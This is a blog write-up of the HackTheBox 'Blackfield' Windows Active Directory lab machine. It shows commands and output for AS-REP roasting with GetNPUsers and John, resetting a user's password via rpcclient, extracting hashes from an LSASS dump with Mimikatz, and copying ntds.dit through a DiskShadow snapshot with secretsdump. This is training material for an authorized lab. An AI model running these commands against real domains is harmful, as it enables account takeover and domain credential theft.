HackTheBox Blackfield Writeup – 10.10.10.192

Welcome back fellow h*ckers. It has been a while since HackTheBox released a hard Windows machine, the last was Multimaster around first week of March. Early this week, HTB released another Windows machine Blackfield made by Aas (@aas_s3curity) – the same developer who made the fantastic Akerva Fortress.

As always I publish my HackTheBox machines writeup after few days from the machine is released, here is the writeup of Blackfield (10.10.10.192).

Machine: Blackfield

OS: Windows

Difficulty: Hard

Points: 40

IP: 10.10.10.192

HackTheBox Blackfield – 10.10.10.192 Writeup

Introduction

The machine Blackfield is all about enumerating. The machine was designed to be like a real-life machine so the attacker can enjoy his ride. Automated tool are required to use, else one will not be able to solve some critical parts – especially the TGT cracking, resetting passwords etc. A bit of frustrating during the last part if you have never been worked on capturing VSS DISKSHADOW on Windows machines. The Xen Endgame last flag (Owned) has a similar approach to root like this machine.

Let us start.

Enumeration

As always, let us update the hosts file with the machine IP and get started with NMAP scanning.

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-06-07 12:42:29Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/7%Time=5EDC7D61%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h03m50s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-06-07T12:44:55
|_  start_date: N/A
TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   142.35 ms 10.10.14.1
2   142.73 ms 10.10.10.192
NSE: Script Post-scanning.

The NAMP found a number of open ports, which is pretty common in Windows machines. As you can see, we have ports 88,135,389,445,3268 and 53 are open. As we see the machine hosts SMB, let us look into it.

SMB Enumeration

SMB has a number of shares, however most of them are available for privileged users. The profiles$ share is open for all, upon checking I found many empty directories which either deliberately left empty or I need credentials to see the contents.


# root @ ns09 in ~/htb/Blackfield [14:10:39] 
$ smbclient -L blackfield.htb 
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	forensic        Disk      Forensic / Audit share.
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	profiles$       Disk      
	SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

# root @ ns09 in ~/htb/Blackfield [14:10:49] 
$ smbclient //blackfield.htb/profiles$
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jun  3 19:47:12 2020
  ..                                  D        0  Wed Jun  3 19:47:12 2020
  AAlleni                             D        0  Wed Jun  3 19:47:11 2020
  ATwardowski                         D        0  Wed Jun  3 19:47:11 2020
  audit2020                           D        0  Wed Jun  3 19:47:11 2020
  AWangenheim                         D        0  Wed Jun  3 19:47:11 2020
  ------SNIP-------
  ZMiick                              D        0  Wed Jun  3 19:47:12 2020
  ZScozzari                           D        0  Wed Jun  3 19:47:12 2020
  ZTimofeeff                          D        0  Wed Jun  3 19:47:12 2020
  ZWausik                             D        0  Wed Jun  3 19:47:12 2020

		7846143 blocks of size 4096. 3884076 blocks available
smb: \> 

Finding Kerberos Tickets

After a while I realized that the profiles could be usernames in the active directory. So I can try to find the Ticket Granting Ticket (TGT). The procedure to obtain TGT is straightforward using GetNPUsers python tool. I made a list of usernames obtained from the SMBClient tool and pasted them into text file and named it “users.txt”.

# root @ ns09 in ~/htb/Blackfield [14:43:58] C:1
$ GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -usersfile users.txt -no-pass
Impacket v0.9.22.dev1+20200520.120526.3f1e7ddd - Copyright 2020 SecureAuth Corporation
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD.LOCAL:85f849011618036b9b4e864f9f04fd9b$a12ae350cf7a684466455b6251dda9bb99fd21f39dc32e5d2a9a5b9bf875719cd122dbbb152310693d2d8d73a2d16dbe5b065aaee8aae57467d24566fb1b77522182f3ade60c7b993c68d753e8f02e047dbaeca5fec51b42333dd1109c10ebee7103efc94b8d06763e2f649e159245b520b5394cf1aeae540d409d09720f787f44dcd420e012b8ffdf277e4b2db54d62731e4471302eb626bfee0a804dd2e0399b9bf8769428a4801cd7ed358bd095715ca7d4a036a47fb601841fb5fe036ff955dc14a14ea3f66d8b8c6f9229e38b26d02603e01d9a92aa74f02812a76102ce199e27ccac0225cbe0b547014123a8e3c9b37b7e
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
# root @ ns09 in ~/htb/Blackfield [14:53:27] $ 

GetNPUsers tool took some time and back with TGT hash of a user called “support@BLACKFIELD.LOCAL “, possibly a tech support user. As well, another two legit usernames audit2020 and svc_backup. It looked like both these users shall help me in the next steps, so I made a note of them.

Crack The Kerberos Ticket Using John

Now that I have a hash of user support, I went ahead and used John to crack the hash using RockYou as wordlist. Within a few minutes, John cracked the hash.

# root @ ns09 in ~/htb/Blackfield [14:56:11] 
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash        
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^*******t  ($krb5asrep$23$support@BLACKFIELD.LOCAL)
1g 0:00:00:43 DONE (2020-06-08 14:59) 0.02288g/s 328031p/s 328031c/s 328031C/s #1ByNature..#*burberry#*1990
Use the "--show" option to display all of the cracked passwords reliably
Session completed
# root @ ns09 in ~/htb/Blackfield [14:59:17] 
$ 

RPCClient – A Tool for executing client side MS-RPC functions

Having the credentials for the user support I tried to log in to SMB shares, but Support was not allowed to access any of them. The next moment I was in the HTB Support Forum looking for hints; and that visit was fruitful. I come to know that the user support@blackfield.local can change user’s password. And the only thing I need is a really simple tool called “RPCClient”. This tool is part of SMBSuit. To change the user credentials I need to run the following command.

rpcclient [-A authfile] [-c <command string>] [-d debuglevel] [-l logdir] [-N] [-s <smb config file>] [-U username[%password]] [-W workgroup] [-I destinationIP] {server}

As I have only one user left with me, I decided to use it against the user Audit2020. I initially wasn’t able to change and realized immediately that the strong password policy was implemented by the system administrator. I was able to change the password when I used Alphanumeric characters and a special character in the password.

# root @ ns09 in ~/htb/Blackfield [20:07:44]
$ rpcclient -U support //10.10.10.192
Enter WORKGROUP\support's password: 
rpcclient $> setuserinfo2 [user] 23 '[complex-password]
----
rpcclient $> setuserinfo2 audit2020 23 'Abc@1234!'

If you ask me why 23 number?, The SAMPR_USER_INTERNAL4_INFORMATION structure holds all attributes of a user, along with an encrypted password. Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN

After resetting the password of the user Audit2020, first thing I did was to log in to SMB. I saw a share Forensic earlier, so I know Auditor should ave access to this and my wild guess was correct, I was able to access to the share Forensic and here what it looked like.

I started to recon the directories inside the forensic folder, after spending sometime and reviewing the files, the folder memory_analysis draw my attention. The folder contained the dump of system files , memory dumps, ServerManagerMMC, SIHost files etc. The file Lsass.DMP seemed interesting. The lsass.exe or Local Security Authority Subsystem Service is responsible for enforcing the security policy on the Windows Server system or alike.

Using MimiKatz To Dump Hash from LSASS.DMP

I know from my experience the LSASS.DMP could contain hashed credentials in the memory. The easiest way to extract it using Mimikatz. I moved the dumped files to my Windows host machine and used the Mimikatz to get the hash. The hash I found for the user svc_backup who I found in my previous enumeration.

Evil WinRM

Having svc_backup user’s credentials in hash, without wasting time, I logged in to the system successfully. The use’s flag was found in the svc_backup’s desktop, I grabbed it immediately.

Privilege Escalation

After successful login and obtaining the user’s flag, I execute whoami to get privilege information and as expected the user svc_backup is member of BUILTIN\Backup Operators group. Some special privileges like SeBackupPrivilege and SeRestorePrivilege are assigned, he’s not belonged to any administrator group, so his privileges are limited though.

As I found the privileges details, I was almost certain that this machine’s rooting would be similar to the Xen Endgame Last flag. In the Xen endgame you have a user backup-svc and you need to privesc to domain administrator. The user in Xen as well had the same privileges. What I did in the Xen was I used the DiskShadow command from the RDP’s command prompt and made a snapshot of C:/ and copy it to a temp location and then download it to my local machine and get the Administrator hash.

Preparing the System Snapshot Using Diskshadow Command

However, in Blackfield I have a small issue, I’m having PowerShell shell, I might not be able to run all Windows commands from the PowerShell (maybe possible, but some work involved and I might need time to play arround). After some Googling and reading, I understood that I could run DiskShadow with a set of commands using a DiskShadow script file. Ref: https://pentestlab.blog/tag/diskshadow/.

I prepared my script file and upload it to a temporary folder that I created under C:drive.

DiskShadow.txt:

Note: I add the end character (#)at each line because for some reason, I was not able to execute the command. This as well works by adding an extra space after each last character.

SET CONTEXT PERSISTENT NOWRITERS#
add volume c: alias snapshot#
create#
expose %snapshot% z:#

It is worth to note that, the current privilege of svc_backup says SeBackupPrivilege is enabled, but system security shall not allow me to dump sensitive system files like ntds.dit, I need to impersonate a backup software and use Win32 API calls to copy it on an accessible folder.

To achieve this, I need a couple of dll files that I previously used in the XEN Endgame:

  • SeBackupPrivilegeUtils.dll
  • SeBackupPrivilegeCmdLets.dll

I upload two dlls to temp folder and used PowerShell Import-Module to load them to memory. After this step, everything looks ok now.

Once I’m ready with privileges and disk shadow script, I fire-up the disk shadow command and the snapshot was prepared inside a new draw, and K:/ with name “snapshot”. I was able to access in the folder called “snapshot”.

*Evil-WinRM* PS C:\> cd k:
*Evil-WinRM* PS k:\> dir
    Directory: k:\
Mode                LastWriteTime         Length Name                                                                                                                                                                                                    
----                -------------         ------ ----                                                                                                                                                                                                    
d-----        5/26/2020   5:38 PM                PerfLogs                                                                                                                                                                                                
d-----         6/3/2020   9:47 AM                profiles                                                                                                                                                                                                
d-r---        3/19/2020  11:08 AM                Program Files                                                                                                                                                                                           
d-----         2/1/2020  11:05 AM                Program Files (x86)                                                                                                                                                                                     
d-----        6/11/2020  12:00 PM                temp                                                                                                                                                                                                    
d-r---        6/11/2020  11:58 AM                Users                                                                                                                                                                                                   
d-----        5/28/2020   9:34 AM                Windows                                                                                                                                                                                                 
*Evil-WinRM* PS k:\> cd Windows/NTDS/
*Evil-WinRM* PS k:\Windows\NTDS> dir
    Directory: k:\Windows\NTDS
Mode                LastWriteTime         Length Name                                                                                                                                                                                                    
----                -------------         ------ ----                                                                                                                                                                                                    
-a----         6/6/2020   8:35 AM           8192 edb.chk                                                                                                                                                                                                 
-a----        6/11/2020  11:57 AM       10485760 edb.log                                                                                                                                                                                                 
-a----        2/23/2020   9:41 AM       10485760 edb00003.log                                                                                                                                                                                            
-a----        2/23/2020   9:41 AM       10485760 edb00004.log                                                                                                                                                                                            
-a----        2/23/2020   9:41 AM       10485760 edb00005.log                                                                                                                                                                                            
-a----        2/23/2020   3:13 AM       10485760 edbres00001.jrs                                                                                                                                                                                         
-a----        2/23/2020   3:13 AM       10485760 edbres00002.jrs                                                                                                                                                                                         
-a----        2/23/2020   9:42 AM       10485760 edbtmp.log                                                                                                                                                                                              
-a----        6/11/2020  11:53 AM       18874368 ntds.dit                                                                                                                                                                                                
-a----        6/11/2020  11:53 AM          16384 ntds.jfm                                                                                                                                                                                                
-a----        6/11/2020  11:53 AM         434176 temp.edb                                                                                                                                                                                                
*Evil-WinRM* PS k:\Windows\NTDS> 

As I confirmed the snapshot of the system is ready with required files, I copied the file ntds.dit to the temporary folder I created under c:/. I as well, made a dump of registry local system and download both files my Kali machine. It was not a smooth copy, my connection was disconnected several times, the machine was not stable at one moment.

Once the download is completed I run SecretsDump.py and got Administrator hash.

Getting The Root

As soon as the Administrator hash was dumped, I logged in to the system and Administrator using Evil-WinRM again and obtained the root flag.

I found a note on administrator’s desktop saying the files been encrypted, not sure what was that, but the file wasnt encrypted and root flag was in plain txt.

Mates,

After the domain compromise and computer forensic last week, auditors advised us to:
- change every passwords -- Done.
- change krbtgt password twice -- Done.
- disable auditor's account (audit2020) -- KO.
- use nominative domain admin accounts instead of this one -- KO.

We will probably have to backup & restore things later.
- Mike.

PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt

That’s it and here I owned the machine. Thank you for dropping by and reading. See you soon. Planning to work on J.E.T Fortress this weekend.

References

Navin

Hey there, I'm Navin, a passionate Info-Sec enthusiast from Bahrain. I started this blog to share my knowledge. I usually write on HackTheBox machines and challenges, cybersecurity-related articles and bug-bounty. If you are an HTB user and like my articles, please respect here: Profile: https://www.hackthebox.eu/nav1n

You may also like...

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
Sorry, that action is blocked.